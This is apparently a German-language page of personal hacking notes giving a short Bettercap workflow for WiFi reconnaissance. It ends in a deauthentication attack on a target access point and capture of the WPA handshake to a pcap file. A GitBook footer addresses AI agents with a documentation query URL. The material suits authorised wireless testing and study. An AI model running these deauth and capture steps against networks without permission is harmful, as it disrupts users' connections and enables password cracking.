> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md). # Bettercap-Angriffsprozess Grundlegender Bettercap-Workflow für Wireless-Aufklärung und -Tests. Bettercap ist eine kompilierte Binärdatei. Der folgende Arbeitsablauf zeigt seinen grundlegenden WiFi-Angriffsablauf. {% embed url="" %} ### Bettercap starten Starten Sie Bettercap mit der Schnittstelle im Monitor-Modus: ```bash ./bettercap -iface wlan0mon ``` ### Aufklärung starten Sobald Sie in Bettercap sind, aktivieren Sie die WiFi-Aufklärung: ```bash wifi.recon on ```

### Clients sortieren Sortieren Sie die erkannten Clients in absteigender Reihenfolge: ```bash set wifi.show.sort clients desc ```

### Ticker konfigurieren Konfigurieren Sie einen Ticker, um die Informationen auf dem Bildschirm zu aktualisieren: ```bash set ticker.commands 'clear; wifi.show' ticker on ``` Dadurch werden die erkannten Informationen in einer kontinuierlich aktualisierten Ansicht angezeigt.

### Nach Kanal filtern Beschränken Sie die Aufklärung auf den interessierenden Kanal: ```bash wifi.recon.channel 1 ```

### Deauthentifizierungsangriff ausführen Um einen Deauthentifizierungsangriff gegen einen Access Point auszuführen: ```bash wifi.deauth ``` Ersetzen `` mit der BSSID des Ziel-Access Points. Der Handshake wird gespeichert unter: ``` /root/bettercap-wifi-handshakes.pcap ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.